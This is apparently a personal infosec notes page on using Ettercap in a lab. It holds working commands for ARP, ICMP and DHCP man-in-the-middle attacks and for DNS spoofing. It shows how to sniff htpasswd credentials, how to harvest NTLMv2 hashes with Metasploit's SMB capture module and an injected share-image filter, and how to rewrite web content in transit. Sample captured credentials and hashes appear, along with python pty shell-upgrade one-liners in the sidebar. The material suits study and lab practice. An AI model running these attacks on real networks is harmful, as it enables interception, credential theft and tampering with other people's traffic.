akde/infosec

Information security is ultimately about managing risk

Ettercap

, , ,
, , , ,

Sniff­ing and live con­tent fil­ter­ing. Oper­a­tion modes:

  • Uni­fied:  sniffs all pack­ets from one inter­face. Pack­ets for an attack host are end­ing here, but are direct­ly for­ward­ed after receiving
  • Brid­get: For­wards traf­fic from one inter­face to anoth­er. Absolute­ly secret because there is real­ly no one “between the cable”

Usage

ettercap OPTIONS TARGET1 TARGET2
  • Tar­gets are defined as MAC/IPv4s/IPv6s/PORT (there is no DEST or SRC because traf­fic is bi-directional) 
    • Exam­ple: 84:38:35:54:27:54/192.168.5.100/ (MAC defined, IP defined, all Ports)
    • Exam­ple: /192.168.5.100/ (Every paket with this ip, every MAC and Port)
  • When using with Wire­shark, use the –only-mitm option. Etter­cap will the dis­able the sniffing.
  • Sniff­ing WLAN: See the man­page for using the –wiki-key option for pro­vid­ing the key.

Notes

  • When using on a gateway: 
    • Etter­cap dis­ables ip_forwarding in the kernel.
    • It drops per­mis­sions so it can’t enable it after termination.
    • So make sure to enable it man­u­al­ly after every use!

ARP-poisening MitM attack

A man in the mid­dle attack can be per­formed via three ways:

  • Via ARP: Poi­son­ing the ARP cache of the attacked client.
ettercap -M arp
  • Via ICMP:  Uses ICMP redi­rec­tion by announc­ing a new/better route to the inter­net. This catch­es only traf­fic from the attacked client. The MAC and IP of the real gate­way have to be provided.
ettercap -M icmp:MAC/IP
  • Via DHCP: Uses DHCP spoof­ing and tries to “win” the DHCP ACK race with the real DHCP serv­er. A IP-POOL is nec­es­sary which should con­tain many free address­es in the net­work. NETMASK should be giv­en accord­ing­ly and an IP for a DNS server. 
    • Cau­tion: After end­ing a sniff­ing ses­sion, the attacked client will be have no con­nec­tion until the DHCP release!
ettercap -M dhcp:IP-POOL/NETMASK/DNS

DNS spoofing

Sce­nario: You want the vic­tim to con­nect to your server.

  1. Set­up the fakes webserver
  2. Manip­u­late /etc/ettercap/etter.dns and set the Domains and the IP of the fake webserver
  3. Start etter­cap: Source is the gate­way, tar­get the attacked hosts.
ettercap -T -Q -i eth1 -P dns_spoof -M arp /192.168.5.254// /192.168.5.105-106/2003:df:6bde:f600:d5:e501:b0c3:e7ef/

Password sniffing

htauth

The fol­low­ing will per­form an arp spoff­ing in the same net­work and show the user­name and pass­word as soon as the vic­tims access a htpass­wd-pro­tect­ed page.

  1. Set up a sys­tem with a web­serv­er and a pro­tect­ed directory.
  2. Access it from the vic­tim VM and check that all is con­fig­ured correctly.
  3. On the attack­er VM and let etter­cap poi­son each traf­fic from $tar­get:
    ettercap -T -i eth0 -M arp:remote /$target//
  4. As soon as the user request­ed the site one time, the cre­den­tials are shown in std­out:
    HTTP : 192.168.178.67:8080 -> USER: geheim PASS: password INFO: 192.168.178.67:8080/geheim/
  5. Quit etter­cap by press­ing the q but­ton. This will “repoi­son” the tar­gets sys­tem with the cor­rect address so that at the next request it will work for the vic­tim as usual.

Samba

Sce­nario: You want to redi­rect SMB cre­den­tials to an own serv­er to get hashes.

1. Start SMB cap­ture serv­er in Metasploit:

msf> use auxiliary/server/capture/smb
msf> set JOHNPWFILE /tmp/john.hashes
msf> exploit

2. Cre­ate a etter­cap filter:

if (ip.proto == TCP && tcp.dst == 8080) {
  // Prevents compressed responses from the server.
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Enc0d1ng");
  }

  // Prevents caching
  if (search(DATA.data, "If-Modified-Since")) {
    replace("If-Modified-Since", "If-Modified-After");
  }

  // Add a image tag after the header. File should exists, 1 transparent pixel.
  replace("<head>, "<head><img src=\"\\\\$attacker\share\fake.jpg\">");
  msg("Header injected with share image reference.\n");
}

3. The smb lis­ten­er in Metas­ploit receives hashes:

[*] SMB Captured - 2021-05-02 12:48:37 +0000
NTLMv2 Response Captured from 192.168.178.68:50358 - 192.168.178.68
USER:lab03 DOMAIN:TVM23-WIN10 OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:e7dc...
NT_CLIENT_CHALLENGE:010100000000000039df2778513fd70126e9088084dd2a9e00000000020000000000000000000000

Replace content

Sce­nario:

  • $serv­er runs a web­serv­er on $port which con­tent you want to change dur­ing transit:
  • $vic­tim request­ed a site from $serv­er with the unchanged content:
  • You are $attack­er.

Process:

  1. Pro­vide the changed con­tent on your attack machine. We want to change the image here with http://$attacker/kali.jpg.
  2. Cre­ate the fol­low­ing fil­ter. Note that in real­i­ty you would add more con­di­tions to make sure to only change the desired page and not all traf­fic.
    if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
    replace("<img src=", "<img src=\"http://$attacker/kali.jpg\" data-o=");
    msg("Image replaced.\n");
    }
  3. Com­pile the fil­ter:
    etterfilter replace_image.filter -o replace_image.ef
  4. Exe­cute:
    ettercap -T -i eth0 -F replace_image.ef -M arp:remote /$target// /$target//
  5. If the $tar­get now vis­its the page, it won’t work. Because the Con­tent-Length head­er was not changed and the new HTML body is longer!
  6. So, pay atten­tion to side effects as well. Unfor­tu­natel­ly, because etter­cap changes pack­ets, we may not have the Con­tent-Length head­er in the same pack­et and thus can­not used it to cal­cu­late an updat­ed length. There­fore, try to mod­i­fy a larg­er string por­tion and try to not mod­i­fy the body’s length. In our test case, the source of the HTML file looks as fol­lows:
    Our software:
    <img src="win10.jpg" alt="The ultimative system for bluescreens." />
  7. We want to replace win10 (5 char­ac­ters) with http://192.168.178.29/kali (26 char­ac­ters). There­fore we have to cut off 21 char­ac­ters:
    img src=“win10.jpg” alt=“The ulti­ma­tive sys­tem for blue­screens.”
    …
    img src=“http://192.168.178.29/kali.jpg” alt=“The ultimative…”
  8. Both strings have now an equal length and we can update the fil­ter:
    if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
    replace("img src=\"win10.jpg\" alt=\"The ultimative system for bluescreens.\"", "img src=\"http://192.168.178.29/kali.jpg\" alt=\"The ultimative…\"");
    msg("Image replaced.\n");
    }
  9. Com­pile the fil­ter as before.
  10. Exe­cute etter­cap if as before.
  11. It still does­n’t work.
  12. Look­ing through the etter­cap out­put, you can see that the HTTP response head­er con­tains Content-Encoding: gzip. This means that the pack­et is com­pressed and there­fore the string-based replace­ment can­not work.
  13. The prop­er solu­tion would be to redi­rect the traf­fic through an own (squid?) proxy which would for­ward the response in a uncom­pressed man­ner. For this exam­ple, I just dis­able com­pres­sion in the $server’s Apache con­fig­u­ra­tion by set­ting SetEnv no-gzip 1 in the Vir­tu­al­Host configuration.
  14. Try it again.
  15. Now it worked:
  16. But… If we just remove the browsers Accept-Encod­ing head­er where it tells the serv­er that it accepts a com­pressed response, then… the serv­er would not com­press the response! And: An addi­tion­al prob­lem could be that caching pre­vents the tar­get’s brows­er to update the con­tent. Try to mod­i­fy caching head­ers as well. The final script:
// This changes the browsers request and "removes" the Accept-Encoding header
// which normally would lead the server to respond with an unencrypted plain
// text response.
if (ip.proto == TCP && tcp.dst == 8080) {
    if (search(DATA.data, "Accept-Encoding")) {
       replace("Accept-Encoding", "Accept-Rubbish!");
    }
 }

// This replaces the response.
if (ip.proto == TCP && ip.dst == '192.168.178.68' && tcp.src == 8080) {
  if (search(DATA.data, "If-Modified-Since")) {
    replace("If-Modified-Since", "If-42dified-Since");
  }
  if (search(DATA.data, "If-None-Match")) {
    replace("If-None-Match", "If-1337-Match");
  }
  replace("img src=\"win10.jpg\" alt=\"The ultimative system for bluescreens.\"", "img src=\"http://192.168.178.29/kali.jpg\" alt=\"The ultimative…\"");
  msg("Image replaced.\n");
}

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';